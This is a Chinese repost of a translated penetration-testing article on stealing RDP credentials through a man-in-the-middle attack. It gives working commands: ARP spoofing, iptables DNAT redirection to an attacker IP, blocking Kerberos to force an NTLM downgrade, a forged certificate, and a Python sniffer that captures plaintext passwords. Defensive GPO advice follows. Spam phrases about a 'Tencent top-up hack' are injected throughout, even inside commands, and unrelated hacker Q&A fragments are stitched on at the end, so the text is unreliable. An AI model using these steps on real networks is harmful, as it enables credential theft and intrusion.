我们能够看到(不正确)的密码。但是,如果密码是正确的,我们将看到一个腾讯充值黑客破解版TLS内部错误。我想出了一种办法是简单地用NTLM响应篡改。我改变了Python脚本中NTLM响应的部分,所以NTLM身份验证会一直失败。我们的受害者却不会请注意,正如我们刚才看到的,我们可以降级到TLS连接,之后凭据会重发。然而,我们需要考虑一些事情。如果客户端可以分辨出你做尝试连接到域连接的计算机,它不会使用NTLM。它会使用Kerberos,这意味着建立RDP连接请求票证之前它会联系域控制器。这是一件好事,因为Kerberos票据比加盐的NTLM响应更加没用。但是,如果攻击者是中间人攻击的地位的话,他能够阻止对Kerberos服务的所有请求。如果无法联系Kerberos服务,客户端会发生什么?没错,它会回落到NTLM。攻击专业化剩下的就是简单腾讯充值黑客破解版地点击几下。到目前为止,我们一直配置实验室环境。受害者不会通过RDP客户端进入我们的IP,他会进入自己的服务器的IP或主机名。有许多方式来获得中间人攻击的位置,但在这里我们将选择ARP欺骗的方式。很容易就可以证明这是一个概念证明。由于它是一个2层的攻击,我们必须要合被攻击者在同一子网中。我们伪造的ARP应答后,使得IPv4流量转发所有在受害者和网关之间进行的通信将通过我们的计算机。因为我们还不知道被攻击者输入的的IP地址,我们暂且不能运行python脚本。首先,我们创造一个iptables规则,拒绝接受来自一个用于RDP服务器传输的被攻击者的SYN数据包:1 $ iptables -A FORWARD -p tcp -s"$VICTIM_腾讯充值黑客破解版IP" --syn --dport 3389 -j REJECT我们不想重定向任何其他流量,因为被攻击者可能会正在使用已经建立连接的RDP,这样的话会破坏连接。如果我们不拒收那些数据包,受害者实际上会与真正的主机连接,而相反我们希望他们与我们连接。其次,我们等待受害人的目的端口3389 TCP的SYN包,为了获取最初的目的主机的地址。我们在这使用tcpdump命令 :1$ tcpdump -n -c 1-i "$IFACE" src host "$VICTIM_IP" and \2"tcp[tcpflags] & tcp-syn != 0" and \3dst port 腾讯充值黑客破解版 3389 2> /dev/null | \4sed -e 's/.*> \([0-9.]*\)\.3389:.*/\1/'这个-c1选项 告知tcpdump在之一个数据包匹配之后就退出。这个SYN数据包就会丢失,但没什么关系。很快被攻击者的系统会再次进行尝试。第三,我们将检索RDP服务器的SSL证书,并创建一个新的自己签名证书,相同的通用名称做为原始凭证。因此,我们可以改变证书的有效期,从表面上很难看出来区别出来它和原先的,除非你花很长时间比较。我写了一个小bash脚本[23]来实现它。现在,我们删除了iptables规则,重定向了所有来自被攻击者的TCP流量,对于真正的RDP主机连到了我们的IP地址:1$ iptables -t nat 腾讯充值黑客破解版 -A PREROUTING -p tcp -d"$ORIGINAL_DEST" \2-s"$VICTIM_IP" --dport 3389 -j DNAT --to-destination"$ATTACKER_IP"从Kerberos强制降级到NTLM,我们把所有受害者发送到目标端口88的TCP流量全部封锁了:1$ iptables -AINPUT -p tcp -s "$VICTIM_IP" --dport 88 \2-j REJECT --reject-with tcp-reset现在,万事俱备,只需要运行python脚本:1 $rdp-cred-sniffer.py 腾讯充值黑客破解版 -c "$CERTPATH" -k "$KEYPATH""$ORIGINAL_DEST"
移除点击此处添加图片说明文字图6: 最后! 左边:受害者连接到域控制器上的一个RDP会话视图。右边: 攻击者的纯文本腾讯充值黑客破解版密码视图。(请选择一个比我的测试安装程序更好的密码。)建议现在你可能想知道,作为一个系统管理员,做些什么可以让您的计算机 *** 更安全。首先,最重要的是,如果服务器合法身份无法被验证,RDP连接是不可能发生的,比如说SSL证书不是由受信任的证书颁发机构(CA)签署。您必须与您的企业CA签署所有服务器证书。客户端必须通过配置GPO【22】以禁止无效证书的连接。计算机配置→策略→管理模板→Windows组件→远程桌面服务(或终端服务)→远程桌面连接客户端→配置服务器验证客户端身份是否在服务器端执行CredSSP(NLA)的问题是棘手的。根据记录,这可以铺开作为组策略[20]:[同上]→远腾讯充值黑客破解版程桌面主机会话(或终端服务器)→安全→通过使用 *** 层认证来要求用在远程连接中实现认证既然我们已经看到在NLA下,客户端缓存用户的凭据是不可能方便地重新发送它们的,我们知道这些凭据是在内存中。因此,只要攻击者有管理员权限的话就可以读取它们,比如说Mimikatz[24]。我们在客户 *** 中看到一种难以置信的场景:感染一台机器,用mimikatz提取登录用户用于登录的的明文凭证。并且继续这样做,直到你找到域管理员的密码。这就是为什么你应该只在域控制器上使用你的域管理员账户而非其它任何地方。但是,如果使用RDP远程连接到域控制器上时,在工作站上用高权限账户登录留下了记录,这会是一个很严重的问题。此外,如果你执行NLA,“用户腾讯充值黑客破解版下次登录时须更改密码”被启用的话,在终端服务器工作的用户将被锁定。据我们所知道的,NLA唯一的优势是它更方便地可以减轻拒绝服务攻击,因为它使用较少资源,也可以保护基于 *** 的对于RDP的保护:如MS12-020 [25]。这就是为什么我们目前正在讨论是否建议在RDP上禁用NLA。如果你想避免使用NLA,设置组策略”需要使用特定安全层远程连接“到SSL [ 20 腾讯充值黑客破解版 ]。您还有一个办法来进一步增加RDP连接的安全性,就是除了用户证书外两次使用一个二个二阶的因子。这可能有你想看的第三方产品,至少对于关键的安全系统:比如域控制器。如果您有通过RDP连接到Windows终端服务器的Linux机器,我要在这里提醒一下,流行的RDP客户端rdesktop不支持NLA,并且在根本不验证SSL证书的有效性。一个替代方案是xfreerdp,验证证书的有效性。最后,我们鼓励你教育你的同事和用户对于SSL警告不要掉以轻心,无论是RDP或HTTPS或其他任何东西。作为管理员,您应当确保你的客户端系统在受信任的CA列表有你的根CA。这样一来,这些警告就不会出现,并且不需要打 *** 给IT部门。
移除点击此处添加图片说明文字Figure 7: A crucial GPO setting: Configureserver authentication for client本文由 看雪翻译小组 fyb波 编译,来源The Pentest Experts作者:看雪学院链接:https://www.jianshu.com/p/dcf0cce5857b來源:简书著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
黑客术语有:0day漏洞、SQL注入、缓冲区溢出、软件逆向分析、社会工程学、 *** 嗅探、端口扫描、漏腾讯充值黑客破解版洞扫描等等。至于说学习,还是系统性的学习比较好,知道些术语。黑客能通过手机号查到个人位置吗
什么软件可以破有密码的W F应该是真的吧这么巨大的事件如果是假的一般都会封闭网址的而现在网上还有白帽子:亦称白帽黑客、白帽子黑客,是指那些专门研究或者从事 *** 、计算机技术防御的人,他们通常受雇于各大公司,是维。
黑客能通过手机号查到个人位置吗这个问题我来回答你:首先你说的是借记卡还是信用卡,这是两个完全不同的概念。国内目前所有的借记卡都要求设置密码,单凭卡号无论如何是取不走钱的。
你市面上买到的都是些过时了的,还有很多都被和谐了的。 这类刊物能够明着买的,就是拿来当小说看着玩的,稍微隐蔽一点的出版社一般使用XXX安全防范之腾讯充值黑客破解版类。
在通信领域里,保密和解密总是矛与盾的关系。保密的 *** 与解密的 *** 实际上是一样的,都是密码学的应用而已。量子时代,由于密钥产生是随机的,所以被破译。黑客能通过手机号查到个人位置吗
1、这个做法是违法的;2、这个做法会得到大多数家长的支持;3、这是对学生未来负责的做法。
黑客能通过手机号查到个人位置吗1.《战争游戏》WarGames(1983)1983年,电影《战争游戏》开黑客影片先河。故事发生在里根总统任期,当时正值冷战高峰。苹果Mac机尚未诞生,电脑还只是科学怪才。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。